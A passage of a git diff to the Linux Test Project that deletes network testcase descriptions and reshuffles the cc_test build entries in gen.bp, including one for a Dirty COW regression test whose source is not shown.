-		and preservation of write/nowrite permissions.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/nfs/nfs02
-	<\test_location>
-<\testname>
-<testname=nfs03>
-	<description>
-		Runs the LTP filesystem test: fs_inod, on an NFS mountpoint.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/nfs/nfs03
-	<\test_location>
-<\testname>
-<testname=nfslock01>
-	<description>
-		Two processes open FLOCK_IDATA file simultaneously
-		each one locks odd and even lines of the file simultaneously
-		and fill them with '0's and '1's. After they find eof, the
-		datafiles are compared.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/nfs/nfslock01
-	<\test_location>
-<\testname>
-<testname=nfsstat01>
-	<description>
-		Tests the 'nfsstat' command. This test runs locally, so no
-		actual network connection is needed.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/nfs/nfsstat01
-	<\test_location>
-<\testname>
-<testname=nfsstress>
-	<description>
-		This program is designed stress the NFS implimentation.
-		Many bugs were uncovered in the AIX operating system
-		implimentation of NFS when AIX kernel was built over NFS.
-		Source directory on a remote machine (one server many clients)
-		NFS-mounted on to a directory on a local machine from which
-		the kernel build was initiated. Apparently many defects/bugs
-		were uncovered when multiple users tried to build the kernel
-		by NFS mounting the kernel source from a remote machine and
-		tried to build the kernel on a local machine. AIX build envi-
-		ronment is set up to create the object files and executable
-		on the local machine.
-		This testcase will try to recreate such a senario.
-		Spawn N number of threads. Each thread does the following.
-		* Create a directory tree.
-		* Populate it with ".c" files and makefiles.
-		* initate a build. Executable will print hello world when executed
-		* clean up all the executables that were created.
-		* recurssively remove each subdir and its contents.
-		The test is aimed at stressing the NFS client and server.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/nfs/nfsstress
-	<\test_location>
-<\testname>
-<testname=rpc01>
-	<description>
-		Tests for SunRPC API
-
-		Test rpc using file transfers between a client & server
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/rpc/basic_tests/rpc01
-	<\test_location>
-<\testname>
-<testname=rpcinfo01>
-	<description>
-		Basic test for the `rpcinfo` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/rpc/basic_tests/rpcinfo/rpcinfo01
-	<\test_location>
-<\testname>
-<testname=rup01>
-	<description>
-		Basic test for the `rup` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/rpc/basic_tests/rup/rup01
-	<\test_location>
-<\testname>
-<testname=rusers01>
-	<description>
-		Basic test for the `rusers` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/rpc/basic_tests/rusers/rusers01
-	<\test_location>
-<\testname>
-<testname=accept01-sctp>
-	<description>
-		Full test for SunRPC and TI-RPC API
-
-		Verify that accept() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=bind01-sctp-udp/tcp>
-	<description>
-		Verify that bind() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=listen01-sctp-udp/tcp>
-	<description>
-		Verify that listen() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=recv01-sctp-udp/tcp>
-	<description>
-		Verify that recv() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=recvfrom01-sctp-udp/tcp>
-	<description>
-		Verify that recvfrom() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=recvmsg01-sctp-udp/tcp>
-	<description>
-		Verify that recvmsg() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=send01-sctp-udp/tcp>
-	<description>
-		Verify that send() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=sendmsg01-sctp-udp/tcp>
-	<description>
-		Verify that sendmsg() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=sendto01-sctp-udp/tcp>
-	<description>
-		Verify that sendto() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=setsockopt01-sctp-udp/tcp>
-	<description>
-		Verify that setsockopt() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=socket01-sctp-udp/tcp>
-	<description>
-		Verify that socket() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=ltpSockets.sh>
-	<description>
-		Run basic socket related tests over UDP, TCP, and Multicast.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/sockets/ltpSockets.sh
-	<\test_location>
-<\testname>
-<testname=arp01>
-	<description>
-		Test the basic functionality of `arp`.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/tcp_cmds/arp/arp01
-	<\test_location>
-<\testname>
-<testname=echo01>
-	<description>
-		Stresses the inetd/xinetd daemon using the `echo` service.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/tcp_cmds/echo/echo01
-	<\test_location>
-<\testname>
-<testname=finger01>
-	<description>
-		test the basic functionality of the `finger` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/tcp_cmds/finger/finger01
-	<\test_location>
-<\testname>
-<testname=ftp01>
-	<description>
-		test the basic functionality of the `ftp` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/tcp_cmds/ftp/ftp01
-	<\test_location>
-<\testname>
-<testname=host01>
-	<description>
-		test the basic functionality of the `host` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/tcp_cmds/host/host01
-	<\test_location>
-<\testname>
-<testname=netstat01>
-	<description>
-		test the basic functionality of the `netstat` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/tcp_cmds/netstat/netstat01
-	<\test_location>
-<\testname>
-<testname=perf_lan>
-	<description>
-		Generates LAN traffic using ICMP echo packets.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/tcp_cmds/perf_lan
-	<\test_location>
-<\testname>
-<testname=ping01>
-	<description>
-		test the basic functionality of the `ping` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/tcp_cmds/ping/ping01
-	<\test_location>
-<\testname>
-<testname=rcp01>
-	<description>
-		test the basic functionality of the `rcp` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/tcp_cmds/rcp/rcp01
-	<\test_location>
-<\testname>
-<testname=rdist01>
-	<description>
-		test the basic functionality of the `rdist` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/tcp_cmds/rdist/rdist01
-	<\test_location>
-<\testname>
-<testname=rlogin01>
-	<description>
-		Tests the basic functionality of `rlogin`.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/tcp_cmds/rlogin/rlogin01
-	<\test_location>
-<\testname>
-<testname=rsh01>
-	<description>
-		test the basic functionality of the `rsh` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/tcp_cmds/rsh/rsh01
-	<\test_location>
-<\testname>
-<testname=rwho01>
-	<description>
-		test the basic functionality of the rwhod daemon using the
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/tcp_cmds/rwho/rwho01
-	<\test_location>
-<\testname>
-<testname=sendfile>
-	<description>
-		Copy files from server to client using the sendfile()
-		function.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/tcp_cmds/sendfile
-	<\test_location>
-<\testname>
-<testname=tcpdump>
-	<description>
-		test the basic functionality of `tcpdump`.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/tcp_cmds/tcpdump
-	<\test_location>
-<\testname>
-<testname=telnet01>
-	<description>
-		Tests the basic functionality of `telnet`.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/tcp_cmds/telnet/telnet01
-	<\test_location>
-<\testname>
-<testname=traceroute_tests.sh>
-	<description>
-		Test basic functionality of `traceroute` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/traceroute/traceroute_tests.sh
-	<\test_location>
-<\testname>
-<testname=xinetd>
-	<description>
-		Test basic functionality of `xinetd` command.
-	<\description>
-	<test_location>
-		ltp/testcases/network/xinetd
-	<\test_location>
-<\testname>
diff --git a/doc/testcases/open_hpi_testsuite.txt b/doc/testcases/open_hpi_testsuite.txt
deleted file mode 100644
index e81e72f..0000000
--- a/doc/testcases/open_hpi_testsuite.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-
- ************************************************************************************
-*  Please visit http://openhpi.sourceforge.net for information about this testsuite. *
- ************************************************************************************
-
diff --git a/doc/testcases/open_posix_testsuite.txt b/doc/testcases/open_posix_testsuite.txt
deleted file mode 100644
index 6de1eb4..0000000
--- a/doc/testcases/open_posix_testsuite.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-
- ************************************************************************************
-*  Please visit http://posixtest.sourceforge.net for information about this testsuite. *
- ************************************************************************************
-
diff --git a/execltp.in b/execltp.in
index 2167992..470a2dc 100755
--- a/execltp.in
+++ b/execltp.in
@@ -6,7 +6,7 @@
     complain about complexity involved with trying to use LTP in my
     organization -_-.
 
-    Copyright (C) 2009-2012, Garrett Cooper
+    Copyright (C) 2009-2012, Ngie Cooper
 
     This program is free software; you can redistribute it and/or modify
     it under the terms of the GNU General Public License as published by
@@ -279,7 +279,7 @@
 
     group = OptionGroup(parser, 'Copyright',
                         '%(prog)s version %(version)s, Copyright (C) '
-                        '2009-2012, Garrett Cooper %(prog)s comes with '
+                        '2009-2012, Ngie Cooper %(prog)s comes with '
                         'ABSOLUTELY NO WARRANTY; '
                         'This is free software, and you are welcome to '
                         'redistribute it under certain conditions (See the '
diff --git a/gen.bp b/gen.bp
index 4d66d9f..9ac5d5b 100644
--- a/gen.bp
+++ b/gen.bp
@@ -50,14 +50,11 @@
 }
 
 cc_test {
-    name: "ltp_wait401",
-    stem: "wait401",
+    name: "ltp_test14",
+    stem: "test14",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/wait4/wait401.c"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
+    srcs: ["lib/newlib_tests/test14.c"],
+    local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
@@ -82,19 +79,6 @@
 }
 
 cc_test {
-    name: "ltp_pipe_test_02",
-    stem: "pipe_test_02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/ipc/ipc_stress/pipe_test_02.c"],
-    cflags: ["-D_LINUX_"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_acct01",
     stem: "acct01",
     defaults: ["ltp_test_defaults"],
@@ -172,10 +156,10 @@
 }
 
 cc_test {
-    name: "ltp_check_keepcaps",
-    stem: "check_keepcaps",
+    name: "ltp_wait401",
+    stem: "wait401",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/securebits/check_keepcaps.c"],
+    srcs: ["testcases/kernel/syscalls/wait4/wait401.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -251,18 +235,6 @@
 }
 
 cc_test {
-    name: "ltp_mmapstress04",
-    stem: "mmapstress04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mmapstress/mmapstress04.c"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_asapi_03",
     stem: "asapi_03",
     defaults: ["ltp_test_defaults"],
@@ -301,11 +273,39 @@
 }
 
 cc_test {
-    name: "ltp_genlgamma",
-    stem: "genlgamma",
+    name: "ltp_ioctl05",
+    stem: "ioctl05",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/bessel/genlgamma.c"],
-    local_include_dirs: ["include/old"],
+    srcs: ["testcases/kernel/syscalls/ioctl/ioctl05.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ioctl04",
+    stem: "ioctl04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ioctl/ioctl04.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ioctl06",
+    stem: "ioctl06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ioctl/ioctl06.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
@@ -354,18 +354,6 @@
 }
 
 cc_test {
-    name: "ltp_prot_hsymlinks",
-    stem: "prot_hsymlinks",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/prot_hsymlinks/prot_hsymlinks.c"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_max_map_count",
     stem: "max_map_count",
     defaults: ["ltp_test_defaults"],
@@ -440,23 +428,19 @@
 }
 
 cc_test {
-    name: "ltp_mmapstress07",
-    stem: "mmapstress07",
+    name: "ltp_tst_safe_fileops",
+    stem: "tst_safe_fileops",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mmapstress/mmapstress07.c"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
+    srcs: ["lib/newlib_tests/tst_safe_fileops.c"],
+    local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_rt_sigtimedwait01",
-    stem: "rt_sigtimedwait01",
+    name: "ltp_kcmp03",
+    stem: "kcmp03",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c"],
-    cflags: ["-DTEST_RT_SIGTIMEDWAIT"],
+    srcs: ["testcases/kernel/syscalls/kcmp/kcmp03.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -505,6 +489,18 @@
 }
 
 cc_test {
+    name: "ltp_sched_setscheduler03",
+    stem: "sched_setscheduler03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler03.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_sched_getparam03",
     stem: "sched_getparam03",
     defaults: ["ltp_test_defaults"],
@@ -553,22 +549,6 @@
 }
 
 cc_test {
-    name: "ltp_numa_node_size",
-    stem: "numa_node_size",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/numa/numa_node_size.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-DNUMA_VERSION1_COMPATIBILITY",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_ptrace03",
     stem: "ptrace03",
     defaults: ["ltp_test_defaults"],
@@ -795,10 +775,10 @@
 }
 
 cc_test {
-    name: "ltp_unlink07",
-    stem: "unlink07",
+    name: "ltp_quotactl03",
+    stem: "quotactl03",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/unlink/unlink07.c"],
+    srcs: ["testcases/kernel/syscalls/quotactl/quotactl03.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -831,20 +811,6 @@
 }
 
 cc_test {
-    name: "ltp_clock_settime02",
-    stem: "clock_settime02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/timers/clock_settime/clock_settime02.c"],
-    cflags: ["-D_GNU_SOURCE"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "testcases/kernel/timers/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_readdir02",
     stem: "readdir02",
     defaults: ["ltp_test_defaults"],
@@ -992,6 +958,20 @@
 }
 
 cc_test {
+    name: "ltp_createfile",
+    stem: "createfile",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/tcp_cmds/echo/createfile.c"],
+    cflags: ["-DDEBUG"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "testcases/network/tcp_cmds/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_futex_wake02",
     stem: "futex_wake02",
     defaults: ["ltp_test_defaults"],
@@ -1045,18 +1025,6 @@
 }
 
 cc_test {
-    name: "ltp_tomoyo_filesystem_test",
-    stem: "tomoyo_filesystem_test",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/tomoyo/tomoyo_filesystem_test.c"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_capset02",
     stem: "capset02",
     defaults: ["ltp_test_defaults"],
@@ -1154,6 +1122,14 @@
 }
 
 cc_test {
+    name: "ltp_genfmod",
+    stem: "genfmod",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/power/genfmod.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
     name: "ltp_gentanh",
     stem: "gentanh",
     defaults: ["ltp_test_defaults"],
@@ -1317,6 +1293,30 @@
 }
 
 cc_test {
+    name: "ltp_f3",
+    stem: "f3",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/commands/nm/datafiles/f3.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_f2",
+    stem: "f2",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/commands/nm/datafiles/f2.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_f1",
+    stem: "f1",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/commands/nm/datafiles/f1.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
     name: "ltp_hangup01",
     stem: "hangup01",
     defaults: ["ltp_test_defaults"],
@@ -1330,94 +1330,20 @@
 }
 
 cc_test {
-    name: "ltp_signal_test_07",
-    stem: "signal_test_07",
+    name: "ltp_vma03",
+    stem: "vma03",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/ipc/ipc_stress/signal_test_07.c"],
-    cflags: ["-D_LINUX_"],
+    srcs: ["testcases/kernel/mem/vma/vma03.c"],
     local_include_dirs: [
+        "testcases/kernel/mem/include",
         "testcases/kernel/include",
         "include/old",
     ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_signal_test_06",
-    stem: "signal_test_06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/ipc/ipc_stress/signal_test_06.c"],
-    cflags: ["-D_LINUX_"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
     ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_signal_test_05",
-    stem: "signal_test_05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/ipc/ipc_stress/signal_test_05.c"],
-    cflags: ["-D_LINUX_"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_signal_test_04",
-    stem: "signal_test_04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/ipc/ipc_stress/signal_test_04.c"],
-    cflags: ["-D_LINUX_"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_signal_test_03",
-    stem: "signal_test_03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/ipc/ipc_stress/signal_test_03.c"],
-    cflags: ["-D_LINUX_"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_signal_test_02",
-    stem: "signal_test_02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/ipc/ipc_stress/signal_test_02.c"],
-    cflags: ["-D_LINUX_"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_signal_test_01",
-    stem: "signal_test_01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/ipc/ipc_stress/signal_test_01.c"],
-    cflags: ["-D_LINUX_"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
@@ -1594,10 +1520,10 @@
 }
 
 cc_test {
-    name: "ltp_iopl01",
-    stem: "iopl01",
+    name: "ltp_execle01",
+    stem: "execle01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/iopl/iopl01.c"],
+    srcs: ["testcases/kernel/syscalls/execle/execle01.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -1749,6 +1675,18 @@
 }
 
 cc_test {
+    name: "ltp_dirtyc0w_child",
+    stem: "dirtyc0w_child",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/dirtyc0w/dirtyc0w_child.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_ksm02",
     stem: "ksm02",
     defaults: ["ltp_test_defaults"],
@@ -1766,6 +1704,18 @@
 }
 
 cc_test {
+    name: "ltp_tkill02",
+    stem: "tkill02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/tkill/tkill02.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_vmsplice01",
     stem: "vmsplice01",
     defaults: ["ltp_test_defaults"],
@@ -2064,6 +2014,18 @@
 }
 
 cc_test {
+    name: "ltp_tst_kvcmp",
+    stem: "tst_kvcmp",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/lib/tst_kvcmp.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_modify_ldt03",
     stem: "modify_ldt03",
     defaults: ["ltp_test_defaults"],
@@ -2114,6 +2076,19 @@
 }
 
 cc_test {
+    name: "ltp_rt_sigtimedwait01",
+    stem: "rt_sigtimedwait01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c"],
+    cflags: ["-DTEST_RT_SIGTIMEDWAIT"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_getsid01",
     stem: "getsid01",
     defaults: ["ltp_test_defaults"],
@@ -2292,14 +2267,6 @@
 }
 
 cc_test {
-    name: "ltp_gentan",
-    stem: "gentan",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/trigo/gentan.c"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
     name: "ltp_brk01",
     stem: "brk01",
     defaults: ["ltp_test_defaults"],
@@ -2647,18 +2614,6 @@
 }
 
 cc_test {
-    name: "ltp_writev03",
-    stem: "writev03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/writev/writev03.c"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_memcg_test_4",
     stem: "memcg_test_4",
     defaults: ["ltp_test_defaults"],
@@ -2993,20 +2948,17 @@
 }
 
 cc_test {
-    name: "ltp_vma03",
-    stem: "vma03",
+    name: "ltp_clock_settime02",
+    stem: "clock_settime02",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/vma/vma03.c"],
+    srcs: ["testcases/kernel/timers/clock_settime/clock_settime02.c"],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: [
-        "testcases/kernel/mem/include",
         "testcases/kernel/include",
+        "testcases/kernel/timers/include",
         "include/old",
     ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
+    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
@@ -3554,10 +3506,10 @@
 }
 
 cc_test {
-    name: "ltp_getresuid01",
-    stem: "getresuid01",
+    name: "ltp_getpgrp01",
+    stem: "getpgrp01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getresuid/getresuid01.c"],
+    srcs: ["testcases/kernel/syscalls/getpgrp/getpgrp01.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -3691,10 +3643,10 @@
 }
 
 cc_test {
-    name: "ltp_write03",
-    stem: "write03",
+    name: "ltp_capget01",
+    stem: "capget01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/write/write03.c"],
+    srcs: ["testcases/kernel/syscalls/capget/capget01.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -4142,10 +4094,10 @@
 }
 
 cc_test {
-    name: "ltp_writev04",
-    stem: "writev04",
+    name: "ltp_pth_str02",
+    stem: "pth_str02",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/writev/writev04.c"],
+    srcs: ["testcases/kernel/sched/pthreads/pth_str02.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -4248,19 +4200,6 @@
 }
 
 cc_test {
-    name: "ltp_pipe_test_01",
-    stem: "pipe_test_01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/ipc/ipc_stress/pipe_test_01.c"],
-    cflags: ["-D_LINUX_"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_newuname01",
     stem: "newuname01",
     defaults: ["ltp_test_defaults"],
@@ -4885,10 +4824,10 @@
 }
 
 cc_test {
-    name: "ltp_setpriority05",
-    stem: "setpriority05",
+    name: "ltp_mmapstress04",
+    stem: "mmapstress04",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setpriority/setpriority05.c"],
+    srcs: ["testcases/kernel/mem/mmapstress/mmapstress04.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -4897,10 +4836,10 @@
 }
 
 cc_test {
-    name: "ltp_setpriority04",
-    stem: "setpriority04",
+    name: "ltp_mmapstress07",
+    stem: "mmapstress07",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setpriority/setpriority04.c"],
+    srcs: ["testcases/kernel/mem/mmapstress/mmapstress07.c"],
     local_include_dirs: [
         "testcases/kernel/include",
         "include/old",
@@ -4921,30 +4860,6 @@
 }
 
 cc_test {
-    name: "ltp_setpriority01",
-    stem: "setpriority01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setpriority/setpriority01.c"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setpriority03",
-    stem: "setpriority03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setpriority/setpriority03.c"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_setpriority02",
     stem: "setpriority02",
     defaults: ["ltp_test_defaults"],
@@ -5280,18 +5195,6 @@
 }
 
 cc_test {
-    name: "ltp_capget01",
-    stem: "capget01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/capget/capget01.c"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_ns_exec",
     stem: "ns_exec",
     defaults: ["ltp_test_defaults"],
@@ -5342,6 +5245,18 @@
 }
 
 cc_test {
+    name: "ltp_sched_setscheduler01",
+    stem: "sched_setscheduler01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler01.c"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_epoll_ctl02",
     stem: "epoll_ctl02",
     defaults: ["ltp_test_defaults"],
@@ -5404,19 +5319,15 @@
 }
 
 cc_test {
-    name: "ltp_userns05",
-    stem: "userns05",
+    name: "ltp_socketcall02",
+    stem: "socketcall02",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/containers/userns/userns05.c"],
+    srcs: ["testcases/kernel/syscalls/socketcall/socketcall02.c"],
     local_include_dirs: [
         "testcases/kernel/include",
-        "testcases/kernel/containers/libclone",
         "include/old",
     ],
-    static_libs: [
-        "libltp_clone",
-        "libltp_ltp",
-    ],
+    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
@@ -5461,12 +5372,14 @@
 }
 
 cc_test {
-    name: "ltp_socketcall01",
